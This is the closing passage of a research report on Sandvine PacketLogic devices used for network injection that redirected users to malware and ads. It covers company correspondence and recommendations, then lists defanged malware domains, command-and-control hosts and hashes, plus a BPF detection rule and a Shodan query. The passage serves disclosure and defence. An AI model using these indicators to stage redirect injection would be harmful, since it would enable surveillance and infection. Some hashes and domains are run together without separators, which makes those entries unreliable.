The low percentile rankings assigned to those countries – single digits in the “political stability and absence of violence / terrorism” category, and in no case surpassing 50th percentile – suggest at a minimum that the BEC would have been called upon to assess and approve any such sales that took place, and require certificates of compliance from the customers.

On February 20, 2018, Francisco Partners sent its own response to our letter, emphasizing that the firm “recognizes the importance of corporate governance and social responsibility.” The firm went on to state: “We spend considerable time and effort regarding the thoughtful development and implementation of proper governance and social responsibility policies and processes for Francisco Partners and for the companies in which we invest.” The firm noted that, as an investor, it works “with company management teams to enhance (where necessary) and to implement robust corporate governance principles, business processes and policies, and business strategy, including social responsibility policies and practices.” It also “mandates the adoption of compliant business ethics policies and processes. Where appropriate, such policies and processes are based on, among other things, the engagement of outside parties and a variety of benchmarking information sources, including World Bank information.”

On March 1, 2018, Citizen Lab replied to Sandvine. We emphasized that we were confident in our research findings, which two independent peer reviews confirmed. We also posed additional questions regarding Sandvine’s business ethics program. On March 7, 2018, Sandvine sent a letter to the University of Toronto, expressing its continuing concern that the Citizen Lab report “will contain false, inaccurate and misleading information that has the potential to do significant harm to the company, its shareholders and its customers.” Sandvine “demand[ed] that the report not be released publicly at this time” and laid out the reasons for that demand. External counsel responded to Sandvine’s letter on behalf of the University of Toronto and Citizen Lab on March 8, 2018.

Deep packet inspection technology is now ubiquitous across network environments. DPI devices supporting network injection can be used by ISPs for a range of ostensibly legitimate uses, from alerting users to billing issues to bandwidth cap limits – all broadly marketed under the rubric of what DPI companies refer to benignly as “Quality of Service” or “Quality of Experience.” However, as our investigation demonstrates, network injection can also be used for harmful purposes. Depending on how DPI systems are configured, they may even present serious human rights risks, such as censoring access to content or, worse, silently infecting users with malware, and all without the person affected by the censorship or targeted by the malware realizing what has occurred. Evidently, the technology can also be easily repurposed for mass-scale revenue scams.

The apparent use of Sandvine technology to engage in network injection in Egypt and Turkey is even more troubling in light of the “strong safeguards” that Sandvine asserts it maintains “regarding social responsibility, human rights, and privacy rights.” Sandvine appears to have technical means in place to prevent misuse of its technology, noting in its February 16 letter that it “implements stringent software license controls that limit access to specific product capabilities outside of an intended use case.” The malicious and dubious activities that appear to have been conducted through the use of PacketLogic devices as documented in this report suggest that Sandvine’s safeguards have come up short – despite the Procera controversy over dealings in Turkey that was publicly reported in 2016, which put the company on notice of the potential human rights impact of sales and services in Turkey. We recommend that Sandvine engage in regular consultation with civil society regarding its human rights due diligence and business ethics program, and enhance transparency surrounding its sales review process and post-sale technical controls. We also recommend that Sandvine establish an operational-level grievance mechanism, in line with the UN Guiding Principles on Business and Human Rights, to address incidents of misuse of its products, and clearly communicate to the public how to report concerns, the timeframe in which one can expect to receive a response, and remedial action taken.

The findings of this report also illustrate the urgent need for ubiquitous adoption of HTTPS by website developers. Handling web traffic over unencrypted channels leaves users vulnerable to network injection techniques that may expose them to spyware, unwanted advertising, or other Internet scams. Particularly on sites offering software downloads (some of which may be billed as “secure”), companies and developers responsible for such platforms must ensure the proper use of encryption. Ultimately, the use of products that provide network injection features on public ISP networks, as identified in this report, represents a major global public safety risk. Network injection can be used to take advantage of access to a user’s unencrypted web traffic to replace expected data with malicious or inappropriate code, often in a manner undetectable to the average user. Francisco Partners’ recent acquisition of Sandvine is especially troubling in this regard, since the investment firm’s portfolio also includes NSO Group, one of the world’s leading providers of spyware whose products are associated with numerous cases of abuse . The prospect of such powerhouse surveillance technologies being sold to companies operating in autocratic regimes, or autocratic regimes themselves, and in jurisdictions wherein human rights are flagrantly abused, should be cause for concern.

Editing and other assistance provided by Masashi Nishihata, Jeffrey Knockel, Christopher Parsons, Lex Gill, and Miles Kenyon. Research assistance provided by Elizabeth Gross and Gabrielle Lim.

Initial Campaign

Domains of injected redirects

download.downloading[.]shopdownload.syriantelecommunications[.]co

redirection[.]bid

Phase 2 Campaign

Domains of injected redirects

downloading.internetdownloading[.]co
download.downloadering[.]co

Malware hashes

08d971f5f4707ae6ea56ed2f243c38b720755b98d7c094747b75b157413e34223632fb080545d3518d57320466f96cb340383bee9846ecbd78581402e3379051449ba12127133ecd0440a558b083468c461446151be0033a668782c2d7ba58cb56bc314bc0d4a0a230a4de2bf978b5aea070fd2cce434a6f0b0d0fa6d3278d22be6f2a03dfddbaf1166854730961d13cd7ec065cc3f563928504f80692578d2ff344da38958dbc730ddebc10660cd451

fa90508007b94a4dbfeb8b48d5443ec8

Malware C&C

updserv-east-cdn3[.]com

Phase 3 Campaign:

Domains of injected redirects

computing[.]downloaders[.]todaystorage[.]computingdownloads[.]life

window[.]processingdownloads[.]today

Malware hashes

001316808aa7108b467e8ecc06139c2e5c3f0dcf4aaa699b50154aa245923c867fd98d6bb1e9d6bcf2e1984e812c1e4689180820b47bb11ccf0c8505371e98d18bb2ba6f1cfa3bd99146688cd1e76bb08c8eb5cfc5642a773c5f2b5f59148aa38fea3de31a58415c3fec2e6dd40955759b0de56f7f862db73e223f41099fc74cbe8a344487bcfea66de8e0f0f14d869edf0045bd4168893922480f7ccb29860ae436e849d9496ef3f651c1904786c78fe80d8a0c35133f7485d8e87ade903919

f36e67109ae368c9db109d0a41b5817c

Malware C&C

ms-cdn-88[.]com

Related IOCs discovered

cdn2-sys-upd[.]com
and-security-state[.]com

Phase 4 Campaign

Injection domains

solitude.file-download[.]todaysystem.documentations[.]liveepoch.wind-files[.]today

epiphany.download-document[.]world
internet.document-management[.]today

Malware hashes

08b8b4787f3ce90c6c1483cc127b1cdc205a5502ff0da4a471c4dad0e06c6c5732bc51088953377d601c6b27ca7484a93729531c71163cddcded7e70c02a300443b39fd4ddc386092372da19f6278c254fe4094302c26e7ea2c58f5ca9f7f99358239ea5747d3375278ce7c04db22c1b6491df10c766be9c487fb9495d04df6e6a442a610c047a7a306a12f423978bfb6ce947913231bd968c86a2737bae7bba7ad8ad340c084f8185e2bb18cbfde89190373539c60529153d0d6b0cc857e845

a5ae6e0d74052d4f889f2538fdd7cb9b

Malware C&C

cdn-upd-ms6[.]com

Related IOCs discovered

Phase 5 Campaign

Injection domains

document.downloadingsystem[.]comepoch.englishdownloaders[.]todayinternet.downloadingdocuments[.]com

system.filedownloaders[.]com

Malware C&C

upd-ms3-app-state[.]com

Related IOCs discovered

cdn6-upd-state-app.com

BPF rule to detect HTTP 307 redirect injection consistent with PacketLogic:

“port 80 and ip[4:2] = 13330 and tcp[((tcp[12:1] & 0xf0) >> 2)+8:4] = 0x20333037 and tcp[14:2] = 32120 and ip[6:2] = 0”

  1. The text “SECURE DOWNLOAD” is displayed when a user hovers over the “DOWNLOAD NOW” link when attempting to download a file from Download.com.
  2. Our Shodan search query was: 307 temporary redirect -date -server connection close -content-length -pragma -usercheck -content-type location .
  3. For instance, Checkpoint’s Secure Web Gateway appears to use the same HTTP header format as PacketLogic, but has numerous differences in the IP and TCP layers, including not using a fixed IPID value, and not injecting a final unsolicited ACK.
  4. Though most people would instead probably visit videolan.org, which redirects users to HTTPS by default.
  5. Also surprisingly, when we tested ccleaner.com, it directed Mac users to a download via HTTPS, but directed PC users to a download over HTTP.
  6. While it is unlikely that a user would actually see an ad injected on port 7547, it appears that the DPI operator in Egypt did not restrict the network injection to a specific port. As a result, an HTTP request on port would be injected.
  7. Most recent data available as of March 7, 2018.
  8. Also seen in the Phase 2 campaign.
  9. Also seen in the Phase 5 campaign.
Browse

Article by channel:

Read more articles tagged: Malware